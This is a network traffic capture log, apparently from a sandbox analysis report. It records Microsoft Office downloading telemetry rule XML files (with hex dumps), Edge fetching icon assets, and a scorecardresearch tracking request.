2024-11-27 16:58:53 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:53 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: a2105f9f-201e-00aa-1591-3f3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165853Z-174f7845968kdththC1EWRzvxn00000009e000000000udht x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:53 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:52 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:53 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:53 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 97970dc3-901e-008f-6c91-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165853Z-174f7845968l4kp6hC1EWRe8840000000xeg00000000d2t7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:53 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:53 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:53 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:53 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: d3508ca6-601e-003d-4e91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165853Z-174f7845968xr5c2hC1EWRd0hn0000000e1000000000fr7h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:53 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.7	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:54 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:55 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:54 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 8b39e191-d01e-0065-5191-3fb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165854Z-174f7845968ljs8phC1EWRe6en0000000x1000000000gmak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:55 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.7	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:54 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:55 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:55 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 77f1aa82-301e-003f-6391-3f266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165855Z-174f7845968nxc96hC1EWRspw80000000wy000000000eagz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:55 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.7	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:55 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:55 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:55 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 3d9c2adf-901e-00ac-7b91-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165855Z-174f7845968g6hv8hC1EWR1v2n000000051000000000sz56 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:55 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.7	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:55 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:55 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:55 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 35239132-b01e-005c-225f-404c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165855Z-174f7845968vqt9xhC1EWRgten0000000x5g00000000q060 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:55 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.7	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:55 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:55 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:55 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 4fa988ca-e01e-000c-2c91-3f8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165855Z-174f7845968px8v7hC1EWR08ng0000000xb000000000vsnc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:55 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.7	49875	13.107.246.40	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:56 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 16:58:57 UTC	523	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:56 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: cad89b3e-501e-005d-73ed-409803000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T165856Z-174f7845968qj8jrhC1EWRh41s0000000x60000000008fya Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-27 16:58:57 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.7	49876	13.107.246.40	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:56 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 16:58:57 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:56 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 0bea2c01-401e-0042-507f-404313000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T165856Z-174f7845968nxc96hC1EWRspw80000000wy000000000ean1 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 16:58:57 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.7	49879	13.107.246.40	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:56 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 16:58:57 UTC	516	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:57 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: f7a3d5d6-001e-000a-5fed-40718e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T165856Z-174f7845968psccphC1EWRuz9s0000000xkg0000000000z6 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-27 16:58:57 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.7	49884	18.238.49.52	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:56 UTC	925	OUT	GET /b?rn=1732733358995&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0941BF85F38264F21CE2AAC1F2AB6567&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
